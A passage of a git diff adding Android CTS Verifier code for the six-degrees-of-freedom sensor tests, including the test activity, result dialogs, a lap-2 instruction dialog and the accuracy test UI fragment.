+                AlertDialog.Builder builder = new AlertDialog.Builder(this);
+
+                try {
+                    builder.setMessage(mDataFragment.getTestReport().getContents())
+                            .setTitle(R.string.results)
+                            .setPositiveButton(R.string.got_it, null);
+                } catch (IOException e) {
+                    Log.e(TAG, e.toString());
+                }
+
+                AlertDialog dialog = builder.create();
+                dialog.show();
+                return true;
+            default:
+                return super.onOptionsItemSelected(item);
+        }
+    }
+
+    public void saveResults() {
+        try {
+            new ReportExporter(this, getTestReport().getContents()).execute();
+        } catch (IOException e) {
+            Log.e(TAG, "Couldn't create test report.");
+        }
+    }
+
+    public TestReport getTestReport() {
+        return mDataFragment.getTestReport();
+    }
+
+    public void listenFor6DofData(Fragment listener) {
+        mUiListener = (BaseUiListener) listener;
+        switch (mCurrentTest) {
+            case ACCURACY:
+                mAccuracyListener = (AccuracyListener) listener;
+                mRobustnessListener = null;
+                mComplexMovementListener = null;
+                break;
+            case ROBUSTNESS:
+                mAccuracyListener = null;
+                mRobustnessListener = (RobustnessListener) listener;
+                mComplexMovementListener = null;
+                break;
+            case COMPLEX_MOVEMENT:
+                mAccuracyListener = null;
+                mRobustnessListener = null;
+                mComplexMovementListener = (ComplexMovementListener) listener;
+                break;
+            default:
+                throw new AssertionError("mCurrentTest is a test that doesn't exist!");
+        }
+    }
+
+    public boolean isPoseProviderReady() {
+        if (mDataFragment != null) {
+            return mDataFragment.isPoseProviderReady();
+        } else {
+            return false;
+        }
+
+    }
+
+    public ArrayList<Waypoint> getUserGeneratedWaypoints(Lap lap) {
+        return mDataFragment.getUserGeneratedWaypoints(lap);
+    }
+
+    public Lap getLap() {
+        return mDataFragment.getLap();
+    }
+
+    public ArrayList<Ring> getRings() {
+        return mDataFragment.getRings();
+    }
+
+    @Override
+    public void onPoseProviderReady() {
+        if (mUiListener != null) {
+            mUiListener.onPoseProviderReady();
+        } else {
+            Log.e(TAG, getString(R.string.error_null_fragment));
+        }
+
+        // Possible for this to be called while switching UI fragments, so mUiListener is null
+        // but we want to start the test anyway.
+        mDataFragment.testStarted();
+    }
+
+    @Override
+    public void onWaypointPlaced() {
+        if (mUiListener != null) {
+            mUiListener.onWaypointPlaced();
+        } else {
+            Log.e(TAG, getString(R.string.error_null_fragment));
+        }
+    }
+
+    @Override
+    public void onResult(ResultObject result) {
+        if (mUiListener != null) {
+            mUiListener.onResult(result);
+        } else {
+            Log.e(TAG, getString(R.string.error_null_fragment));
+        }
+    }
+
+    @Override
+    public void onReset() {
+        if (mAccuracyListener != null) {
+            if (mCurrentTest == CTSTest.ACCURACY) {
+                mAccuracyListener.onReset();
+            } else {
+                throw new RuntimeException("We are in the wrong test for this listener to be called.");
+            }
+        } else {
+            Log.e(TAG, getString(R.string.error_null_fragment));
+        }
+    }
+
+    @Override
+    public void lap1Complete() {
+        if (mAccuracyListener != null) {
+            mAccuracyListener.lap1Complete();
+        } else {
+            Log.e(TAG, getString(R.string.error_null_fragment));
+        }
+    }
+
+    public void attemptWaypointPlacement() throws WaypointAreaCoveredException, WaypointDistanceException, WaypointStartPointException, WaypointRingNotEnteredException {
+        mDataFragment.onWaypointPlacementAttempt();
+    }
+
+    public void undoWaypointPlacement() {
+        if (mDataFragment != null) {
+            mDataFragment.undoWaypointPlacement();
+        } else {
+            Log.e(TAG, getString(R.string.error_retained_fragment_null));
+        }
+    }
+
+    public void readyForLap2() {
+        mDataFragment.startTest(CTSTest.ACCURACY);
+    }
+
+    public float getLatestDistanceData() {
+        return mDataFragment.getLatestDistanceData();
+    }
+
+    public float getTimeRemaining() {
+        return mDataFragment.getTimeRemaining();
+    }
+
+    public PoseProvider getPoseProvider() {
+        return mDataFragment.getPoseProvider();
+    }
+
+    @Override
+    public void onNewRotationData(RotationData data) {
+        if (mRobustnessListener != null) {
+            mRobustnessListener.onNewRotationData(data);
+        } else {
+            Log.e(TAG, getString(R.string.error_null_fragment));
+        }
+    }
+
+    @Override
+    public void onRingEntered(Ring ring) {
+        if (mComplexMovementListener != null) {
+            mComplexMovementListener.onRingEntered(ring);
+        } else {
+            Log.e(TAG, getString(R.string.error_null_fragment));
+        }
+    }
+
+    /**
+     * Loads test fragment for a particular phase.
+     *
+     * @param phase test to be started.
+     */
+    public void switchToTestFragment(CTSTest phase) {
+        Log.d(TAG, "switchToTestFragment");
+        Fragment fragment;
+
+        switch (phase) {
+            case ACCURACY:
+                fragment = AccuracyFragment.newInstance();
+                break;
+            case ROBUSTNESS:
+                fragment = RobustnessFragment.newInstance();
+                break;
+            case COMPLEX_MOVEMENT:
+                fragment = ComplexMovementFragment.newInstance(); //Complex Motion
+                break;
+            default:
+                throw new AssertionError("Trying to start a test that doesn't exist!");
+        }
+        FragmentManager fm = getFragmentManager();
+        FragmentTransaction transaction = fm.beginTransaction();
+        transaction.replace(R.id.contentFragment, fragment);
+        transaction.commit();
+    }
+
+    /**
+     * Loads start instruction fragment for a particular test.
+     *
+     * @param phase test to show instruction screen for.
+     */
+    public void switchToStartFragment(CTSTest phase) {
+        Log.e(TAG, "switchToStartFragment");
+        mUiListener = null;
+        mAccuracyListener = null;
+        mRobustnessListener = null;
+        mComplexMovementListener = null;
+
+        mCurrentTest = phase;
+        mDataFragment.startTest(mCurrentTest);
+        Fragment fragment = PhaseStartFragment.newInstance(phase);
+        FragmentManager fm = getFragmentManager();
+        FragmentTransaction transaction = fm.beginTransaction();
+        transaction.replace(R.id.contentFragment, fragment);
+        transaction.commit();
+    }
+
+    @Override
+    protected void onSaveInstanceState(Bundle outState) {
+        // We are always going to be restarting if this is called.
+        outState.putBoolean(EXTRA_ON_RESTART, true);
+        super.onSaveInstanceState(outState);
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+        onDestroyUi();
+        mUiListener = null;
+        mAccuracyListener = null;
+        mRobustnessListener = null;
+        mComplexMovementListener = null;
+        mDataFragment = null;
+    }
+
+    @Override
+    public void onDestroyUi() {
+        if (mUiListener != null) {
+            mUiListener.onDestroyUi();
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/BuildConfig.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/BuildConfig.java
new file mode 100644
index 0000000..dddbde7
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/BuildConfig.java
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.sensors.sixdof;
+
+public class BuildConfig {
+    public static final boolean DEBUG = false;
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Dialogs/AccuracyResultDialog.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Dialogs/AccuracyResultDialog.java
new file mode 100644
index 0000000..1228c95
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Dialogs/AccuracyResultDialog.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Dialogs;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.sensors.sixdof.Utils.ResultObjects.ResultObject;
+
+import android.app.Dialog;
+import android.os.Bundle;
+import android.app.AlertDialog;
+import android.view.LayoutInflater;
+import android.widget.TextView;
+
+/**
+ * Dialog that displays the results of the first test.
+ */
+public class AccuracyResultDialog extends BaseResultsDialog {
+
+    public static AccuracyResultDialog newInstance(ResultObject resultObject) {
+        AccuracyResultDialog dialog = new AccuracyResultDialog();
+        dialog.setup(resultObject);
+        return dialog;
+    }
+
+    @Override
+    public Dialog onCreateDialog(Bundle savedInstanceState) {
+        mBuilder = new AlertDialog.Builder(getActivity());
+        // Get the layout inflater.
+        LayoutInflater inflater = getActivity().getLayoutInflater();
+        mRootView = inflater.inflate(R.layout.dialog_result_accuracy, null);
+
+        mTextViews.put(ResultType.WAYPOINT, (TextView) mRootView.findViewById(R.id.tvWaypointResult));
+        mTextViews.put(ResultType.PATH, (TextView) mRootView.findViewById(R.id.tvPathResult));
+
+        // Parent class will actually create the dialog.
+        return super.onCreateDialog(savedInstanceState);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Dialogs/BaseResultsDialog.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Dialogs/BaseResultsDialog.java
new file mode 100644
index 0000000..1cb8aa2
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Dialogs/BaseResultsDialog.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Dialogs;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.sensors.sixdof.Utils.ResultObjects.ResultObject;
+
+import android.app.Dialog;
+import android.os.Bundle;
+import android.app.DialogFragment;
+import android.app.AlertDialog;
+import android.view.View;
+import android.widget.TextView;
+
+import java.util.HashMap;
+
+/**
+ * Class that sets up the displaying of test results in a dialog.
+ */
+public abstract class BaseResultsDialog extends DialogFragment {
+    public enum ResultType {
+        WAYPOINT,
+        PATH,
+        TIME,
+        ROTATION,
+        RINGS
+    }
+
+    protected ResultObject mResult;
+    protected HashMap<ResultType, TextView> mTextViews;
+    protected AlertDialog.Builder mBuilder;
+    protected View mRootView;
+
+    protected void setup(ResultObject result) {
+        mResult = result;
+        mTextViews = new HashMap<>();
+    }
+
+    @Override
+    public Dialog onCreateDialog(Bundle savedInstanceState) {
+        // Please override and call super.onCreateDialog after setting up mRootView and mBuilder.
+        String title = getString(R.string.passed);
+        for (ResultType resultType : mResult.getResults().keySet()) {
+            if (mResult.getResults().get(resultType)) {
+                mTextViews.get(resultType).setText(getString(R.string.passed));
+            } else {
+                title = getString(R.string.failed);
+                mTextViews.get(resultType).setText(getString(R.string.failed));
+            }
+        }
+
+        mBuilder.setView(mRootView);
+
+        mBuilder.setTitle(title)
+                .setPositiveButton(R.string.got_it, null);
+
+        // Create the AlertDialog object and return it.
+        return mBuilder.create();
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Dialogs/ComplexMovementResultDialog.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Dialogs/ComplexMovementResultDialog.java
new file mode 100644
index 0000000..cef2fde
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Dialogs/ComplexMovementResultDialog.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Dialogs;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.sensors.sixdof.Utils.ResultObjects.ResultObject;
+
+import android.app.Dialog;
+import android.os.Bundle;
+import android.app.AlertDialog;
+import android.view.LayoutInflater;
+import android.widget.TextView;
+
+/**
+ * Dialog that displays the results of the first test.
+ */
+public class ComplexMovementResultDialog extends BaseResultsDialog {
+
+    public static ComplexMovementResultDialog newInstance(ResultObject resultObject) {
+        ComplexMovementResultDialog dialog = new ComplexMovementResultDialog();
+        dialog.setup(resultObject);
+        return dialog;
+    }
+
+    @Override
+    public Dialog onCreateDialog(Bundle savedInstanceState) {
+        mBuilder = new AlertDialog.Builder(getActivity());
+        // Get the layout inflater.
+        LayoutInflater inflater = getActivity().getLayoutInflater();
+        mRootView = inflater.inflate(R.layout.dialog_result_complex_movement, null);
+
+        mTextViews.put(ResultType.WAYPOINT, (TextView) mRootView.findViewById(R.id.tvWaypointResult));
+        mTextViews.put(ResultType.RINGS, (TextView) mRootView.findViewById(R.id.tvRingsResult));
+
+        // Create the AlertDialog object and return it.
+        return super.onCreateDialog(savedInstanceState);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Dialogs/Lap2Dialog.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Dialogs/Lap2Dialog.java
new file mode 100644
index 0000000..a38d11b
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Dialogs/Lap2Dialog.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Dialogs;
+
+import com.android.cts.verifier.R;
+
+import android.app.Activity;
+import android.app.Dialog;
+import android.content.DialogInterface;
+import android.os.Bundle;
+import android.app.DialogFragment;
+import android.app.AlertDialog;
+
+/**
+ * Dialog for instructions on what to to on lap 2
+ */
+public class Lap2Dialog extends DialogFragment {
+    Lap2DialogListener mListener;
+
+    public static Lap2Dialog newInstance() {
+        Lap2Dialog dialog = new Lap2Dialog();
+        return dialog;
+    }
+
+    public interface Lap2DialogListener {
+        void onLap2Start();
+    }
+
+    @Override
+    public Dialog onCreateDialog(Bundle savedInstanceState) {
+        // Use the Builder class for convenient dialog construction.
+        AlertDialog.Builder builder = new AlertDialog.Builder(getActivity());
+
+        // Inflate and set the layout for the dialog.
+        // Pass null as the parent view because its going in the dialog layout.
+        builder.setTitle(R.string.test1_pass2)
+                .setMessage(R.string.lap2_instructions)
+                .setNegativeButton(R.string.got_it, new DialogInterface.OnClickListener() {
+                    public void onClick(DialogInterface dialog, int which) {
+                        mListener.onLap2Start();
+                    }
+                });
+
+        // Create the AlertDialog object and return it.
+        return builder.create();
+    }
+
+    @Override
+    public void onAttach(Activity activity) {
+        super.onAttach(activity);
+        // Verify that the host fragment implements the callback interface.
+        try {
+            mListener = (Lap2DialogListener) getTargetFragment();
+            mListener.onLap2Start();
+        } catch (ClassCastException e) {
+            // The activity doesn't implement the interface, throw exception.
+            throw new ClassCastException(activity.toString()
+                    + " must implement Lap2DialogListener");
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Dialogs/RobustnessResultDialog.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Dialogs/RobustnessResultDialog.java
new file mode 100644
index 0000000..522c7c1
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Dialogs/RobustnessResultDialog.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Dialogs;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.sensors.sixdof.Utils.ResultObjects.ResultObject;
+
+import android.app.Dialog;
+import android.os.Bundle;
+import android.app.AlertDialog;
+import android.view.LayoutInflater;
+import android.widget.TextView;
+
+/**
+ * Dialog that displays the results of the first test.
+ */
+public class RobustnessResultDialog extends BaseResultsDialog {
+
+    public static RobustnessResultDialog newInstance(ResultObject resultObject) {
+        RobustnessResultDialog dialog = new RobustnessResultDialog();
+        dialog.setup(resultObject);
+        return dialog;
+    }
+
+    @Override
+    public Dialog onCreateDialog(Bundle savedInstanceState) {
+        mBuilder = new AlertDialog.Builder(getActivity());
+        // Get the layout inflater.
+        LayoutInflater inflater = getActivity().getLayoutInflater();
+        mRootView = inflater.inflate(R.layout.dialog_result_robustness, null);
+
+        mTextViews.put(ResultType.WAYPOINT, (TextView) mRootView.findViewById(R.id.tvWaypointResult));
+        mTextViews.put(ResultType.PATH, (TextView) mRootView.findViewById(R.id.tvPathResult));
+        mTextViews.put(ResultType.TIME, (TextView) mRootView.findViewById(R.id.tvTimeResult));
+        mTextViews.put(ResultType.ROTATION, (TextView) mRootView.findViewById(R.id.tvRotationResult));
+
+        return super.onCreateDialog(savedInstanceState);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Fragments/AccuracyFragment.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Fragments/AccuracyFragment.java
new file mode 100644
index 0000000..64c44c7
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Fragments/AccuracyFragment.java
@@ -0,0 +1,303 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Fragments;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.sensors.sixdof.BuildConfig;
+import com.android.cts.verifier.sensors.sixdof.Activities.TestActivity;
+import com.android.cts.verifier.sensors.sixdof.Dialogs.AccuracyResultDialog;
+import com.android.cts.verifier.sensors.sixdof.Dialogs.Lap2Dialog;
+import com.android.cts.verifier.sensors.sixdof.Interfaces.AccuracyListener;
+import com.android.cts.verifier.sensors.sixdof.Renderer.AccuracyRenderer;
+import com.android.cts.verifier.sensors.sixdof.Utils.Manager;
+import com.android.cts.verifier.sensors.sixdof.Utils.MathsUtils;
+import com.android.cts.verifier.sensors.sixdof.Utils.Exceptions.WaypointAreaCoveredException;
+import com.android.cts.verifier.sensors.sixdof.Utils.Exceptions.WaypointDistanceException;
+import com.android.cts.verifier.sensors.sixdof.Utils.Exceptions.WaypointRingNotEnteredException;
+import com.android.cts.verifier.sensors.sixdof.Utils.Exceptions.WaypointStartPointException;
+import com.android.cts.verifier.sensors.sixdof.Utils.Path.PathUtilityClasses.Waypoint;
+import com.android.cts.verifier.sensors.sixdof.Utils.ResultObjects.ResultObject;
+
+import android.app.Activity;
+import android.opengl.GLSurfaceView;
+import android.os.Bundle;
+import android.app.DialogFragment;
+import android.app.AlertDialog;
+import android.util.Log;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.ViewGroup;
+import android.widget.ImageButton;
+import android.widget.LinearLayout;
+import android.widget.TextView;
+import android.widget.Toast;
+
+import java.text.DecimalFormat;
+import java.util.ArrayList;
+
+/**
+ * UI fragment for the first test.
+ */
+public class AccuracyFragment extends BaseUiFragment implements AccuracyListener,
+        Lap2Dialog.Lap2DialogListener {
+    private static final String TAG = "AccuracyFragment";
+
+    private String mCurrentObjective = "";
+
+    private TextView mTvDistanceRemaining;
+    private TextView mTvMarkers;
+    private TextView mTvObjective;
+
+    /**
+     * Necessary empty constructor.
+     */
+    public AccuracyFragment() {
+    }
+
+    /**
+     * Standard practice to have a static newInstance constructor. Used to pass in arguments to the
+     * fragment. We don't have any at the moment, but this is good structure for the future.
+     *
+     * @return a new Accuracy test fragment.
+     */
+    public static AccuracyFragment newInstance() {
+        AccuracyFragment fragment = new AccuracyFragment();
+        return fragment;
+    }
+
+    /**
+     * Called when the parent activity has been created. Adds the GLSurfaceView to the fragment
+     * layout.
+     */
+    @Override
+    public void onActivityCreated(Bundle savedInstanceState) {
+        super.onActivityCreated(savedInstanceState);
+
+        GLSurfaceView surfaceView = new GLSurfaceView(getActivity());
+        surfaceView.setEGLContextClientVersion(2);
+        mRenderer = new AccuracyRenderer(getActivity());
+        surfaceView.setRenderer(mRenderer);
+        mLLCameraLayout = (LinearLayout) getView().findViewById(R.id.llCamera);
+        mLLCameraLayout.addView(surfaceView);
+        Log.d(TAG, "Camera Preview add to layout");
+    }
+
+    /**
+     * Initialises all of the UI elements
+     */
+    @Override
+    public View onCreateView(LayoutInflater inflater, ViewGroup container,
+                             Bundle savedInstanceState) {
+        View view = inflater.inflate(R.layout.fragment_accuracy, container, false);
+        getActivity().setTitle(getResources().getStringArray(R.array.phase)[TestActivity.CTSTest.ACCURACY.ordinal()]);
+        mTvDistanceRemaining = (TextView) view.findViewById(R.id.tvTranslations);
+        mTvMarkers = (TextView) view.findViewById(R.id.tvMarkers);
+        mTvObjective = (TextView) view.findViewById(R.id.tvObjective);
+        mPlaceWaypointButton = (ImageButton) view.findViewById(R.id.fabPlaceWaypoint);
+        mPlaceWaypointButton.setOnClickListener(new View.OnClickListener() {
+            @Override
+            public void onClick(View v) {
+                try {
+                    mActivity.attemptWaypointPlacement();
+                } catch (WaypointDistanceException e) {
+                    Toast.makeText(getActivity(),
+                            getString(R.string.error_distance), Toast.LENGTH_SHORT).show();
+                } catch (WaypointAreaCoveredException e) {
+                    Toast.makeText(getActivity(),
+                            getString(R.string.error_area), Toast.LENGTH_SHORT).show();
+                } catch (WaypointStartPointException e) {
+                    Toast.makeText(getActivity(),
+                            getString(R.string.error_start_point), Toast.LENGTH_SHORT).show();
+                } catch (WaypointRingNotEnteredException e) {
+                    throw new AssertionError(
+                            "WaypointRingNotEnteredException when not in 3rd test", e);
+                }
+            }
+        });
+
+        // Setup buttons for pass/info/fail
+        setupButtons(view, TestActivity.CTSTest.ACCURACY);
+
+        return view;
+    }
+
+    /**
+     * Called after onCreateView. Starts listening for 6DoF events.
+     */
+    @Override
+    public void onViewCreated(View view, Bundle savedInstanceState) {
+        super.onViewCreated(view, savedInstanceState);
+        mActivity.listenFor6DofData(this);
+    }
+
+    @Override
+    protected void setupUILoop() {
+        Runnable runnable = new Runnable() {
+
+            @Override
+            public void run() {
+                DecimalFormat oneDecimalFormat = new DecimalFormat("0.0");
+
+                if (mActivity == null || getActivity() == null) {
+                    return;
+                }
+
+                String distanceString = "";
+                String markerString = "";
+                ArrayList<Waypoint> referenceWaypoints;
+
+                switch (mActivity.getLap()) {
+                    case LAP_1:
+                        referenceWaypoints = mActivity.getUserGeneratedWaypoints(Manager.Lap.LAP_1);
+
+                        float distanceRemaining = 0f;
+
+                        if (referenceWaypoints.size() > 0) {
+                            distanceRemaining = mActivity.getLatestDistanceData();
+                            float adjustedDistanceRemaining = Math.max(distanceRemaining, 0);
+                            distanceString = getResources().getString(R.string.distance_remaining) +
+                                    oneDecimalFormat.format(adjustedDistanceRemaining);
+
+                            markerString = getResources().getString(R.string.markers);
+                            for (Waypoint waypoint : referenceWaypoints) {
+                                markerString +=
+                                        MathsUtils.coordinatesToString(waypoint.getCoordinates()) + "\n";
+                            }
+                        }
+
+                        if (distanceRemaining <= 0 || referenceWaypoints.size() == 0) {
+                            mPlaceWaypointButton.setVisibility(View.VISIBLE);
+                        } else {
+                            mPlaceWaypointButton.setVisibility(View.INVISIBLE);
+                        }
+                        break;
+                    case LAP_2:
+                        referenceWaypoints = mActivity.getUserGeneratedWaypoints(Manager.Lap.LAP_2);
+
+                        if (referenceWaypoints.size() == Manager.MAX_MARKER_NUMBER) {
+                            mPlaceWaypointButton.setVisibility(View.INVISIBLE);
+                        } else {
+                            mPlaceWaypointButton.setVisibility(View.VISIBLE);
+                        }
+                        break;
+                    default:
+                        //Possible for this state to be entered when switching fragments
+                        Log.e(TAG, "Trying to run UI on Accuracy Test on a lap greater than 2");
+
+                        //Use an empty list as not interested in this state
+                        referenceWaypoints = new ArrayList<Waypoint>();
+                }
+
+                mCurrentObjective = getObjectiveText(mActivity.getLap(), referenceWaypoints.size());
+
+                mTvDistanceRemaining.setText(distanceString);
+                mTvMarkers.setText(markerString);
+                mTvObjective.setText(mCurrentObjective);
+
+                //Update the UI again in x milliseconds.
+                if (mHandler != null) {
+                    mHandler.postDelayed(this, UI_UPDATE_DELAY);
+                }
+            }
+        };
+
+        super.initUIHandler(runnable);
+    }
+
+    /**
+     * Called when this phase is done and a result is ready. Shows the results dialog and enables
+     * pass button if test has been passed.
+     */
+    @Override
+    public void onResult(ResultObject result) {
+        AccuracyResultDialog dialog = AccuracyResultDialog.newInstance(result);
+        dialog.setTargetFragment(AccuracyFragment.this, DIALOG_FRAGMENT);
+        dialog.show(getActivity().getFragmentManager(), "ResultDialogFragment");
+        mPlaceWaypointButton.setVisibility(View.INVISIBLE);
+
+        if (result.hasPassed() || BuildConfig.DEBUG) {
+            mBtnPass.setEnabled(true);
+            mBtnPass.setOnClickListener(new View.OnClickListener() {
+                @Override
+                public void onClick(View view) {
+                    onReadyForPhase2();
+                }
+            });
+        }
+    }
+
+    /**
+     * Resets UI to how it is at the start of test. Currently called when first waypoint is undone.
+     */
+    @Override
+    public void onReset() {
+        mActivity.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mPlaceWaypointButton.setVisibility(View.VISIBLE);
+                mTvDistanceRemaining.setText("");
+                mTvMarkers.setText("");
+                mCurrentObjective = getResources().getStringArray(R.array.initial_waypoint)[0];
+                mTvObjective.setText(mCurrentObjective);
+            }
+        });
+    }
+
+    @Override
+    public void lap1Complete() {
+        onBackToFirstWaypoint();
+        mActivity.readyForLap2();
+    }
+
+    /**
+     * Shows initial instruction dialog
+     */
+    @Override
+    protected void showInitialDialog() {
+        AlertDialog.Builder builder = new AlertDialog.Builder(getActivity());
+
+        builder.setMessage(R.string.phase1_initial_message)
+                .setTitle(R.string.initial)
+                .setPositiveButton(R.string.got_it, null);
+
+        AlertDialog dialog = builder.create();
+        dialog.show();
+    }
+
+    /**
+     * Called when user finishes the first lap
+     */
+    public void onBackToFirstWaypoint() {
+        DialogFragment dialog = Lap2Dialog.newInstance();
+        dialog.setTargetFragment(AccuracyFragment.this, DIALOG_FRAGMENT);
+        dialog.show(getActivity().getFragmentManager(), "Lap2DialogFragment");
+    }
+
+    /**
+     * Move to next test
+     */
+    public void onReadyForPhase2() {
+        mActivity.switchToStartFragment(TestActivity.CTSTest.ROBUSTNESS);
+    }
+
+    /**
+     * Called when lap 2 starts.
+     */
+    @Override
+    public void onLap2Start() {
+        mPlaceWaypointButton.setVisibility(View.VISIBLE);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Fragments/BaseUiFragment.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Fragments/BaseUiFragment.java
new file mode 100644
index 0000000..12f0652
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/sixdof/Fragments/BaseUiFragment.java
@@ -0,0 +1,198 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.sensors.sixdof.Fragments;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.sensors.sixdof.Activities.StartActivity;
+import com.android.cts.verifier.sensors.sixdof.Activities.TestActivity;
+import com.android.cts.verifier.sensors.sixdof.Interfaces.BaseUiListener;
+import com.android.cts.verifier.sensors.sixdof.Renderer.BaseRenderer;
+import com.android.cts.verifier.sensors.sixdof.Utils.Manager;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Handler;
+import android.app.Fragment;
+import android.app.AlertDialog;
+import android.util.Log;
+import android.view.View;
+import android.widget.Button;
+import android.widget.ImageButton;
+import android.widget.LinearLayout;
+
